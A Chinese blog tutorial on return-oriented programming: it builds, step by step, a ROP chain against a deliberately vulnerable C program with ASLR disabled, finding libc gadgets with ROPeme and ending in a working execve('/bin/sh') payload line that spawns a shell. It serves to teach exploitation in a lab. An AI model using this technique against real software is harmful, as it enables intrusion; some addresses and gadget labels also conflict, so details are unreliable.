盒子
盒子
文章目录
  1. Ⅰ、ROP 和 ROP gadget
    1. ① 定义
    2. ② 如何寻找 gadgets?
    3. ③ ROP Gadgets 功能
  2. Ⅱ、ROP exploit 的编写
    1. ① 初始化
    2. ② 自动化工具 ROPeme
    3. ③ 查看二进制关联的 libc 库
  3. Ⅲ、ROPeme 简介
    1. ① 指定搜索目录
    2. ② 查找 gadget
  4. Ⅳ、exploitation
    1. ① exploitation 组成
    2. ② 查找对应的 ROP gadgets,完成上述功能。
    3. ③ ROP 链如下:
    4. ④ 测试一下 shellcode 正确性和实用性
  5. Ⅴ、参考文献

ROP exploit 编写

学习的过程,不仅要知其然,还要知其所以然,继前文使用ROPgadget构建gadgets链,实现ROP攻击,本文学习一步一步编写ROP exploit。

Ⅰ、ROP 和 ROP gadget

① 定义

ROP就是拼接目标应用程序和它所关联的库函数中已有的短指令序列,组成payload,这些短指令序列就是 gadget。ROP能成功绕过 NX/DEP(栈不可执行)。

ROP gadgets 是以 ret 指令结尾的连续的短指令序列。这些二进制指令序列实现一些诸如读写内存、算术逻辑运算、控制流程跳转、函数调用等操作。

因此可重新组合 gadgets ,达到进行任意操作的目的。

而为了使各个 gadgets “拼接”起来,需构造一个特殊返回栈。首先让指向构造的栈(stack)的指针跳到 gadget A中,执行其中的代码序列后ret回我们的 stack 中,然后下一步是跳到 gadget B,执行后就到 gadgets C…… 只要 stack 足够大,就能达到我们想要的效果。

② 如何寻找 gadgets?

寻找 gadgets 算法:

  • 搜索所有的 “ret” 指令
  • 向前遍历,判断 “ret” 的前几个字节是否为合法指令。保留能构成有效指令的最大字节数(20 bytes)
  • 记录目标应用程序和它关联的库函数中所有的合法指令序列

目前有多种自动化搜索 gadgets 工具,不用自己编写程序,下文会介绍。

③ ROP Gadgets 功能

(1)load 常数 到寄存器

  • 解释:将栈中存放的常数加载到指定寄存器
  • 示例 :POP eax;ret;
    将栈中的值 pop 到 eax 中,并返回栈顶存放的地址。

    因此,当返回地址覆盖为 pop eax/ret 的地址,首先返回到此指令序列,将 0xdeadbeef 的值加载到 eax 中,然后 “ret” 返回到下一条 gadget。

(2)从内存中加载数据(load from memory)

  • 示例:mov ecx,[eax];ret
  • 将存在放eax中的地址指向的值,加载到 ecx 中。

(3)写入内存(storing into memory)

  • 将寄存器中的值写入内存
  • 示例:mov [eax],ecx;ret;
    将 ecx 中的值写入存放在 eax 地址指向的内存区。

(4)算术运算

  • 包括 加、减、乘、异或 or、&
  • 示例:add eax,0x0b;ret(eax中的值加11,在存入eax中)
    xor edx,edx;ret(edx清零)

(5)系统调用

  • 系统调用指令实现内核中断
  • 示例:
    • int 0x80;ret
    • call gs:[0x10];ret

(6)尽量避免使用的gadgets

  • 不要使用以 leave 结尾的gadgets,会污染栈帧
  • 不要使用包含 pop ebp 的gadgets,同样也会污染栈帧

Ⅱ、ROP exploit 的编写

① 初始化

有漏洞的程序如下:

1
2
3
4
5
6
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[256];
memcpy(buf, argv[1],strlen(argv[1]));
printf(buf);
}

禁用ASLR,然后测试程序是否正常运行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# echo 0 > /proc/sys/kernel/randomize_va_space
# gcc -mpreferred-stack-boundary=2 so3.c -o rop2
so3.c: In function ‘main’:
so3.c:6:2: warning: incompatible implicit declaration of built-in function ‘memcpy’ *enabled by default+
so3.c:6:22: warning: incompatible implicit declaration of built-in function ‘strlen’ *enabled by default+
# ./rop2 `python -c 'print "A"*260'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF􀳦􀳦􀳦
# gdb -q rop2
Reading symbols from /root/Desktop/tuts/so/rop2...(no debugging symbols found)...done.
(gdb) r `python -c 'print "A"*260+"B"*4'`
Starting program: /root/Desktop/tuts/so/rop2 `python -c 'print "A"*260+"B"*4'`
Program received signal SIGSEGV, Segmentation fault.
x42424242 in ?? ()
(gdb)

如上面所示,成功覆盖了返回地址,返回地址离shellcode起始地址 264 bytes。

② 自动化工具 ROPeme

使用自动化搜索工具 ROPeme 查找 libc 库中的 gadgets,ROPeme 下载链接

首次使用遇到 ImportError:No module named distorm,请参考快速修复 ropeme ImportError:No module named distorm
接下来,开启查找寻找 gadgets 之旅。

③ 查看二进制关联的 libc 库

有两种方法可以查看库文件
1、info files
gdb 调试器中,在 main 函数起始处设置断点,然后运行程序,使用 “ info files” 命令查看二进制关联的库文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
(gdb) b *main
Breakpoint 1 at 0x804847c
(gdb) r aaaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/tuts/so/rop2 aaaa
Breakpoint 1, 0x0804847c in main ()
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".
Unix child process:
Using the running image of child process 28344.
While running this, GDB does not access memory from...
Local exec file:
`/root/Desktop/tuts/so/rop2', file type elf32-i386.
Entry point: 0x8048390
0x08048134 - 0x08048147 is .interp
---snipped
0x08049704 - 0x08049708 is .bss
0xb7fe2114 - 0xb7fe2138 is .note.gnu.build-id in /lib/ld-linux.so.2
---snipped---
0xb7fc29a0 - 0xb7fc5978 is .bss in /lib/i386-linux-gnu/i686/cmov/libc.so.6

/lib/ld-linux.so.2 和 /lib/i386-linux-gnu/i686/cmov/libc.so.6 都是二进制文件 “rop2” 关联的库

2、/proc/pid/maps
运行程序,查看其 pid ,然后查看 maps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root@kali:~/Desktop/tuts/so# ps -aux | grep rop2
warning: bad ps syntax, perhaps a bogus '-'?
See http://gitorious.org/procps/procps/blobs/master/Documentation/FAQ
root 28117 0.0 0.3 13624 7748 pts/2 S+ 15:57 0:00 gdb -q rop2
root 28119 0.0 0.0 1704 252 pts/2 t 15:57 0:00 /root/Desktop/tuts/so/rop2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
root 28341 0.0 0.3 13548 7552 pts/6 S 16:24 0:00 gdb -q rop2
root 28344 0.0 0.0 1700 244 pts/6 t 16:24 0:00 /root/Desktop/tuts/so/rop2 aaaa
root 28392 0.0 0.0 3484 768 pts/6 S+ 16:27 0:00 grep rop2
root@kali:~/Desktop/tuts/so# cat /proc/28119/maps
08048000-08049000 r-xp 00000000 08:01 548883 /root/Desktop/tuts/so/rop2 (deleted)
---snipped---
b7e63000-b7fbf000 r-xp 00000000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fbf000-b7fc0000 ---p 0015c000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc0000-b7fc2000 r--p 0015c000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
b7fc2000-b7fc3000 rw-p 0015e000 08:01 1311258 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so
---snipped---
b7fff000-b8000000 rw-p 0001c000 08:01 1311294 /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
b7fff000-b8000000 rw-p 0001c000 08:01 1311294 /lib/i386-linux-gnu/ld-2.13.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
root@kali:~/Desktop/tuts/so# exit
(gdb)

推荐使用第二种方法,可以查看库的起始地址,后续计算 gadgets 的真实地址时要用到。

Ⅲ、ROPeme 简介

首先运行,ROPeme中的脚本“ropshell.py”,然后查看帮助目录

1
2
3
4
5
6
7
8
9
10
root@kali:~/Desktop/tuts/so/ropeme# ./ropshell.py
Simple ROP interactive shell: [generate, load, search] gadgets
ROPeMe> help
Available commands: type help <command> for detail
generate Generate ROP gadgets for binary
load Load ROP gadgets from file
search Search ROP gadgets
shell Run external shell commands
^D Exit
ROPeMe>

① 指定搜索目录

使用 generate 函数从函数二进制文件或关联的库中查找 gadgets,我们搜索 /lib/i386-linux-gnu/i686/cmov/libc-2.13.so 4 库函数。

1
2
3
4
5
6
7
8
9
10
11
ROPeMe> generate /lib/i386-linux-gnu/i686/cmov/libc-2.13.so 4
Generating gadgets for /lib/i386-linux-gnu/i686/cmov/libc-2.13.so with backward depth=4
It may take few minutes depends on the depth and file size...
Processing code block 1/2
Processing code block 2/2
Generated 10915 gadgets
Dumping asm gadgets to file: libc-2.13.so.ggt ...
OK
ROPeMe>

generate 命令中紧跟在 libc-2.13.so 后的 4 代表:搜索深度。
最后的 OK 表示 generate 成功执行。

② 查找 gadget

使用 search 函数查找要使用的 gadgets。

1
2
3
4
5
6
7
8
9
10
11
ROPeMe> search pop ?
Searching for ROP gadget: pop ? with constraints: []
0x29d1cL: pop ds ;;
0x29d2fL: pop ds ;;
0x29fd6L: pop ds ;;
---snipped---
0x387cL: pop esp ;;
0x9dad0L: pop esp ;;
--More-- (24/28)
0x10eab9L: pop esp ;;
ROPeMe>

search pop ? : 搜索所有以 ret 结束的、包含 pop 的 gadgets。
? 表示 pop 下一条指令为 ret。例如 复合指令 “pop ? mov ?” 表示搜索 “pop r32;mov;ret” 指令序列。

1
2
3
4
5
6
7
8
ROPeMe> search pop eax %
Searching for ROP gadget: pop eax % with constraints: []
0x189a4L: pop eax ; add [esi] eax ; add [ebx+0x5d5b08c4] al ;;
0x61c42L: pop eax ; mov [ecx+0xb8] edx ; pop ebx ; pop ebp ;;
---snipped---
0xd8f31L: pop eax ;;
0xd8f52L: pop eax ;;
ROPeMe>

search pop eax % : eax 指令了特定寄存器;% 表示pop eax 后的指令数任意,且 结束指令可以是 “ret/leave;ret/pop ebp;ret”

Ⅳ、exploitation

接下来就是 exploitation 的功能,并具体组织 exploitation 过程。
我打算运行 “execve(“/bin/sh”,0,0)”;

① exploitation 组成

Linux 系统调用的参数一般存放在 ebx,ecx,edx,esi,edi 寄存器中。
因此参数分布存放情况

  • ebx: string 的地址
  • ecx: argp数组的指针
  • edx: envp数组的指针
  • eax: 系统调用号
    execve()的系统调用号是 “11” 或 “0xb”

在 “/usr/include/i386-linux-gnu/asm/unistd_32.h” 中查看系统调用号。unistd_32.h 是 x86 汇编系统调用头文件。

1
2
3
root@kali:~/Desktop/tuts/so# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep execve
#define __NR_execve 11
root@kali:~/Desktop/tuts/so#

exploitation 组成

  1. eax 清零
  2. move argp 数组的指针到 ecx
  3. move envp 数组的指针到 ecx
  4. 设置 ebx 为 “/bin/sh” 的起始地址
  5. move oxb into eax
  6. 执行系统调用

② 查找对应的 ROP gadgets,完成上述功能。

(1)查找 “xor eax,eax;ret”,eax 清零。

1
2
3
4
5
6
ROPeMe> search xor eax eax ?
Searching for ROP gadget: xor eax eax ? with constraints: []
0x7f448L: xor eax eax ; leave ;;
0x10b090L: xor eax eax ; leave ;;
0x796bfL: xor eax eax ; ret ;;
ROPeMe>

选择 0x796bfL: xor eax eax ; ret ;;
但是 0x796bfL 是 gadget 在 “lib-2.13.c” 库中的偏移地址,需计算 gadget 的实际地址,即 库起始地址 + 偏移地址
“lib-2.13.c” 的起始地址

1
0x796bf+ 0xb7e63000 = 0xB7EDC6BF

因此 xor eax,eax;ret 的实际地址为 “0xB7EDC6BF”

现在需将 “/bin/bash” 字符串保存在内存中,然后将其内存地址保存在 ebx 中。

选取内存地址,最好是放在 .data 段,查看二进制文件 .data 的起始地址。

1
2
3
4
root@kali:~/Desktop/tuts/so# objdump -D rop2 | grep data
Disassembly of section .rodata:
Disassembly of section .data:
080496fc <__data_start>:

.data 的其实地址为 “0x080496fc”。
也可在 gdb 中使用 “info files” 命令查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
(gdb) info files
Symbols from "/root/Desktop/tuts/so/rop2".
Unix child process:
Using the running image of child process 28344.
While running this, GDB does not access memory from...
Local exec file:
`/root/Desktop/tuts/so/rop2', file type elf32-i386.
Entry point: 0x8048390
0x08048134 - 0x08048147 is .interp
---snipped---
0x080496d8 - 0x080496dc is .got
0x080496dc - 0x080496fc is .got.plt
0x080496fc - 0x08049704 is .data
---snipped---
(gdb)

问题:本想使用 .data + 4 和 .data + 8 存放字符串。但是 .data + 8 = 0x080496fc+4 =0x08049700,shellcode中不应出现 NULL,会截断shellcode,因此另选地址 0x08049704 存放字符串。

现在要做的是,将 “/bin/sh” 存放在 0x08049704 处。

需要将 “/bin/sh” 以 4 byte 为单位分割成两部分 “/bin” 、”/sh”,但是 “/sh” 只有 3 byte,最后 1 byte 就会自动填充成 NULL,这是不允许的。因此在最前面增加一个 /,即 “//sh”,最后的字符串为 “/bin//sh”。

将 “/bin” 和 “//sh” 分别放在刚才选定的地址 0x08049704 和 0x08049704 + 4 处。即调用 “mov [r32],r32;ret”指令序列。但首先需调用 “pop r32;ret” 指令序列将字符串 “/bin” 和 “//sh” 存放在 r32 中。

(2) 寻找 mov 指令。

1
2
3
ROPeMe> search mov [ eax %
---snipped---
0x29ecfL: mov [eax] ecx ;;

mov [eax] ecx :将 ecx 中的值存放到 eax中的地址指向的内存区。
找到的 mov 指令的实际地址为 :

1
0x29exf+0xb7e63000 = 0xB7E8CECF

那么在执行这个 gadget 之前,需先调用 “pop eax;ret” “pop ecx;ret” 设置eax,ecx的值,eax 为刚找的内存地址 0x08049704 ,ecx 为字符串。

(3)查找 pop 指令序列

1
2
3
4
5
6
7
8
ROPeMe> search pop ecx %
Searching for ROP gadget: pop ecx % with constraints: []
0x3ca61L: pop ecx ; add ecx 0xa ; mov [edx] ecx ;;
0xd8f30L: pop ecx ; pop eax ;;
0xd8f51L: pop ecx ; pop eax ;;
0xe2c02L: pop ecx ; pop ebx ;;
0x2a6ebL: pop ecx ; pop edx ;;
ROPeMe>

一个指令序列 “pop ecx;pop eax;;” 就可以一次设置 eax ecx 的值。
地址 : 0xd8f30+0xb7e63000 = 0xB7F3BF30

接下来需要向内存中写入 NULL,但要时刻记住,shellcode中不能出现 NULL。
因为首先清零一个寄存器 r32_1,然后是用 mov [r32_2] ,r32_1;ret 指令将 0 放入内存中。

之前我们找到了 “xor eax,eax;ret” gadget,现在只需找 “mov r[32],eax;ret” gadget

1
2
3
4
5
6
ROPeMe> search mov % eax
Searching for ROP gadget: mov % eax with constraints: []
0xf0cffL: mov [0x810001e9] eax ;;
0xdc5ffL: mov [0x81000330] eax ;;
0x2a71cL: mov [edx+0x14] ecx ; mov [edx+0xc] ebp ; mov [edx+0x18] eax ;;
0x2a722L: mov [edx+0x18] eax ;;

mov [edx+0x18] eax ;; 将 eax 的内容 存放在 edx + 0x18 指向的内存区。
地址 : 0x2a722+0xb7e63000 = 0xB7E8D722

现在需要 “pop ebx” , “pop ecx” , “pop edx” 加载相应的参数到相应的寄存器。

1
2
0x78af4L: pop ebx ;; 0x78af4+0xb7e63000 = 0xB7EDBAF4
0x2a6ebL: pop ecx ; pop edx ;; 0x2a6eb+0xb7e63000 = 0xB7E8D6EB

寻找 将系统调用号 放入 eax 的gadget。
之前 eax 清零了,使用 算术运算 就可以了

1
0x7faa8L: add eax 0xb ;; 0x7faa8+0xb7e63000 = 0xB7EE2AA8

(4)最后一个 gadget 即执行系统调用指令
但是我们没有找到 int 0x80 指令,但是找到了内核系统调用指令 call gd:[0x10]

1
0xa10f5L: call gs:[0x10] ;; 0xa10f5 + 0xb7e63000 = 0xB7F040F5

OK,找到了组成 exploit 的所有gadget

选取的内存地址为 “0x08049704”

③ ROP 链如下:

1
2
3
4
pop ecx; pop eax;;ret + “/bin”+ address to write to --> mov [eax],ecx; ret --> xor eax,eax;ret -->
pop edx;ret --> address to write too – 18 --> mov [edx+18],eax;ret -->
pop ecx;pop edx; ret + address of argp array + address of envp array -->
pop ebx;ret + address of string “/bin//sh” --> add eax,0xb;ret --> call gs:[0x10].

输入的数据格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
“A”*260
+ 0xB7F3BF30 pop ecx ; pop eax; ret
+ “/bin” string to be popped into ecx
+ 0x08049704 address to be popped into eax to write “/bin” to
+ 0xB7E8CECF mov [ecx],eax; ret
+ 0xB7F3BF30 pop ecx ; pop eax; ret
+ “//sh” string to be popped into ecx
+ 0x08049708 address to be popped into eax to write “//sh” to “0x0804971c +4
+ 0xB7E8CECF mov [ecx],eax; ret
+ 0xB7EDC6BF xor eax,eax; ret
+ 0xB7E64A9E pop edx;ret
+ 0x080496f4 address to write NULL bytes to “0x08049708+4-18
+ 0xB7E8D722 mov [edx+0x18] eax ;ret
+ 0xB7E8D6EB pop ecx; pop edx; ret
+ 0x08049712 address of argp array to be loaded into ecx pointing to NULL bytes.
+ 0x08049712 address of envp array to be loaded into edx pointing to NULL bytes.
+ 0xB7EDBAF4 pop ebx ; ret
+ 0x08049704 pointer of string “/bin//sh”
+ 0xB7EE2AA8 add eax 0xb ;ret
+ 0xB7F040F5 call gs:[0x10] ; ret

一般都是小端存储,需要转换为小端存储格式

1
./rop2 `python -c 'print "A"*260 +"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x04\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`

④ 测试一下 shellcode 正确性和实用性

1
2
3
4
5
6
root@kali:~/Desktop/tuts/so# ./rop2 `python -c 'print "A"*260 +"\x30\xbf\xf3\xb7"+"/bin"+"\x04\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\x30\xbf\xf3\xb7"+"//sh"+"\x08\x97\x04\x08"+"\xcf\xce\xe8\xb7"+"\xbf\xc6\xed\xb7"+"\x9e\x4a\xe6\xb7"+"\xf4\x96\x04\x08"+"\x22\xd7\xe8\xb7"+"\xeb\xd6\xe8\xb7"+"\x12\x97\x04\x08"+"\x12\x97\x04\x08"+"\xf4\xba\xed\xb7"+"\x04\x97\x04\x08"+"\xa8\x2a\xee\xb7"+"\xf5\x40\xf0\xb7"'`
# id
uid=0(root) gid=0(root) groups=0(root)
# ls
ROPgadget a.out core g get getenv.c rop rop2 rop3 ropeme ropeme-bhus10 ropeme-bhus10.tar rt rt2 rt2.c s so so.c so2 so2.c so3.c wrpr wrpr.c
#

OK!!!ROP 链成功新建了一个 shell。

Ⅴ、参考文献

Return-Oriented-Programming(ROP FTW)

支持一下
走过的,路过的,请支持一下我 n(*≧▽≦*)n